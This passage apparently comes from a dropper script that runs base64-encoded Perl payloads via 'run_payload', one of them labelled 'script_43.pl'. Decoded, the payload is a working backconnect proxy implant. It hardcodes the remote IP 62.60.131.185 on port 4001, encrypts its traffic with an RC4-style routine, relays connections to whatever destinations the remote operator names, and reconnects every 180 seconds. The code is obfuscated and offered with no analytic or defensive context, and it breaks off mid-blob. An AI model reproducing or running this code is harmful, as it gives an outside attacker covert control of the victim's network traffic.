87IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSAnJzsKCgkJCQkJIHJlY3YoJHNvY2tldGFyclskaV0sICRkYXRhLCA2NTUzMCwgMCk7CgkJCQkgCgkJCQkJIHVubGVzcyAoJGRhdGEpIHsKCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsKCQkJCQkgCgkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRpXSk7CgkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGkpLiJceDAwXHgwMCI7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgc3Vic3RyKCRyZXNwb25jZSwgMCwgMyksIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCSAKCQkJCQkJICRidWZmZXIgPSBwYWNrKCdDJywgJGkpLnBhY2soJ1MnLCBsZW5ndGgoJGRhdGEpKS4kZGF0YTsKCQkJCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgMywgbGVuZ3RoKCRkYXRhKSk7CgkJCQkgCgkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMSk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJIAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJICRjb3VudGVyKys7CgkJCQkgCgkJCQkgaWYgKCRjb3VudGVyID09IDEwICogNjApIHsKCQkJCQkgCgkJCQkJICRjb3VudGVyID0gMDsKCgkJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsKCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkgCgkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIE1TR19OT1NJR05BTCk7CgkJCQkgfQoJCQkJIAoJCQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJlbWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxhc3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAwICYmICRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkgCgkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJCQkJIAoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpID0gcGFjaygnQycsICRlYngpLiJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJCQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEpOwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRyZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJCQkgCgkJCQkJCSAkX3JldDAgPSAwOwoJCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJGVieCkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsKCQkJCQkJIAoJCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgNywgMSkpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4LCAxKSkpOwoJCQkKCQkJCQkJCSAkcG9ydDAgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDgsIDEpKSArIDEsIDEpLnN1YnN0cigkYnVmZmVyMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCwgMSkpICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2lmICh1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDcsIDEpKSA9PSAxKSB7CgkJCQoJCQkJCQkJICRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpKSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSkpLCB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDMsIDEpKSk7CgkJCQoJCQkJCQkJICRwb3J0MCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2UgewoJCQkKCQkJCQkJCSBnb3RvIGNsb3NlXzsKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCQkgZXZhbCB7CgkJCSAKCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCQkJCQkgY29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoJCSAKCQkJCQkJCSB2ZWMobXkgJHdpbiA9ICcnLCBmaWxlbm8oJHNvY2tldGFyclskZWJ4XSksIDEpID0gMTsKCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoJCQkKCQkJCQkJCSBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX1NFVEZMLCBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX0dFVEZMLCAwKSBeIE9fTk9OQkxPQ0spOwoJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCQkJCQkgJF9yZXQwID0gMTsKCQkJIAoJCQkJCQkgfTsKCQkgCgkJCQkJCSBjbG9zZV86CgkJCQkJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMywgMTApOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsKCQkJCQkJCSAKCQkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCSAKCQkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGVieCkuIlx4MDBceDAwIjsKCQkgCgkJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkJIAoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsKCQkJCQkJIAoJCQkJCQkgc2VuZCgkc29ja2V0YXJyWyRlYnhdLCBzdWJzdHIoJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSAKCQkJCQl9CgkJCQkJIAoJCQkJCSAkcmVtYWluaW5nID0gMDsKCQkJCX0KCQkJCQoJCQl9CgkJCSAKCQkJICRyZW1haW5pbmc0ID0gMDsKCQkJIAoJCX0KCQkKCQllbHNlIHsKCQkJCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gMCkgeyAkYnVmZmVyMCA9ICcnOyB9CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSAnJzsKCQkJIAoJCQkgcmVjdigkc29ja2V0YXJyWzBdLCAkZGF0YSwgJGVheCwgMCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSBsZW5ndGgoJGRhdGEpOwoJCQkgCgkJCSAkYnVmZmVyMCAuPSAkZGF0YTsKCQkJIAoJCQkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIpKTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7CgoJCSBpZiAoJHNvY2tldGFycmF5WyRpXSA9PSAxKSB7IGNsb3NlKCRzb2NrZXRhcnJbJGldKTsgfQoJCSAKCSB9CgkgCgkgaWYgKCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgkgCgkgc2xlZXAgMTgwOwp9"

# script_43.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBJTzo6U29ja2V0Owp1c2UgSU86OlNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7CnVzZSBGY250bCBxdyhGX0dFVEZMIEZfU0VURkwgT19OT05CTE9DSyk7CgpteSAkaG9zdCA9ICc2Mi42MC4xMzEuMTg1JzsKbXkgJHBvcnQgPSA0MDAxOwoKbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsKCmZvciAobXkgJGkgPSAwOyAkaSA8IDUwOyAkaSsrKSB7IHN1YnN0cigkeG9yZGF0YSwgJGksIDEpID0gcGFjaygnQycsIHJhbmQoMjU1KSk7IH0KCnN1YiBSYzRfY3J5cHQgewoJIAoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkbGVuZ3RoID0gc2hpZnQoQF8pOwoJIAoJIG15ICRidWZmMCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN6ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyYzQgPSAiXHgwMCIgeCAyNTY7CgkgCgkgbXkgJHBvY2tlbW9uMCA9IDA7CgkKCSBteSAkcG9ja2Vtb24xID0gMDsKCQoJIG15ICRwb2NrZW1vbjIgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMyA9IDA7CgkKCSBteSAkcG9ja2Vtb240ID0gMDsKCQoJIG15ICRwb2NrZW1vbjUgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNiA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2NrZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkgJHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSBteSAkdCA9IDA7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDw9IDI1NTsgJGkrKykgeyBzdWJzdHIoJHJjNCwgJGksIDEpID0gcGFjaygnQycsICRpKTsgfQoJIAoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpKSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkgJHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYgKCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkpOwoJCSAKCQkgJHQgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHBvY2tlbW9uMiwgMSkpOwoKCQkgJHBvY2tlbW9uMSArPSAkdDsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCSAkcG9ja2Vtb242ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb242KTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24yLCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJCSAkcG9ja2Vtb244ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9uOCk7CgkJIAoJCQkgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjcpOwoKCQkJICRwb2NrZW1vbjggKz0gJHBvY2tlbW9uNzsKCQoJCQkgJHBvY2tlbW9uOCA9ICRwb2NrZW1vbjggJiAyNTU7CgoJCQkgJHBvY2tlbW9uMCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb244LCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjUgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkpOwoKCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsKCQkJIAoJCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjUpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpID0gcGFjaygnQycsICh1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkpIF4gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRyYngsIDEpKSkpOwoJCSAKCQkgJHJzaSsrOwoJCQoJCSAkcmJ4Kys7CgkJCgkJICRyY3gtLTsKCQkKCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgewoJCQkgCgkJCSAkcmJ4ID0gMDsKCQl9CgkJIAoJfSB3aGlsZSgkcmN4ID4gMCk7CgkKfQoKc3ViIGJjY25jdCB7CgoJIG15ICRob3N0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRwb3J0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyZW1haW5pbmcgPSAwOwoJIAoJIG15ICRyZW1haW5pbmc0ID0gMDsKCSAKCSBteSAkZG9tYWluOwoJIAoJIG15ICRwb3J0MDsKCSAKCSBteSBAc29ja2V0YXJyOwoJIAoJIG15IEBzb2NrZXRhcnJheTsKCSAKCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOwoJIAoJIG15ICRidWZmZXJudWxsID0gIlx4MDAiIHggMzsKCSAKCSBteSAkYnVmZmVyMCA9ICcnOwoJIAoJIG15ICRpc0V4aXQgPSAwOwoJIAoJIG15ICRfcmV0MCA9IDA7CgkgCgkgbXkgJGVjeCA9IDA7CgkgCgkgbXkgJGVheCA9IDA7CgkgCgkgbXkgJGRhdGEgPSAnJzsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCSAKCSBteSAkcmVzcG9uY2UgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCSAKCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGluZXRfYXRvbigkJGhvc3QpKTsKCSAKCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9CgkgCgkgc3Vic3RyKCRidWZmZXIsIDAsIDUwKSA9ICR4b3JkYXRhOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1MCwgMikgPSAiXHhGRlx4RkYiOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsKCSAKCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7CgkgCgkgc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSAnJzsKCgkJCQkJIHJlY3YoJHNvY2tldGFyclskaV0sICRkYXRhLCA2NTUzMCwgMCk7CgkJCQkgCgkJCQkJIHVubGVzcyAoJGRhdGEpIHsKCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsKCQkJCQkgCgkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRpXSk7CgkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGkpLiJceDAwXHgwMCI7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgc3Vic3RyKCRyZXNwb25jZSwgMCwgMyksIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCSAKCQkJCQkJICRidWZmZXIgPSBwYWNrKCdDJywgJGkpLnBhY2soJ1MnLCBsZW5ndGgoJGRhdGEpKS4kZGF0YTsKCQkJCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgMywgbGVuZ3RoKCRkYXRhKSk7CgkJCQkgCgkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMSk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJIAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJICRjb3VudGVyKys7CgkJCQkgCgkJCQkgaWYgKCRjb3VudGVyID09IDEwICogNjApIHsKCQkJCQkgCgkJCQkJICRjb3VudGVyID0gMDsKCgkJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsKCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkgCgkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIE1TR19OT1NJR05BTCk7CgkJCQkgfQoJCQkJIAoJCQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJlbWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXE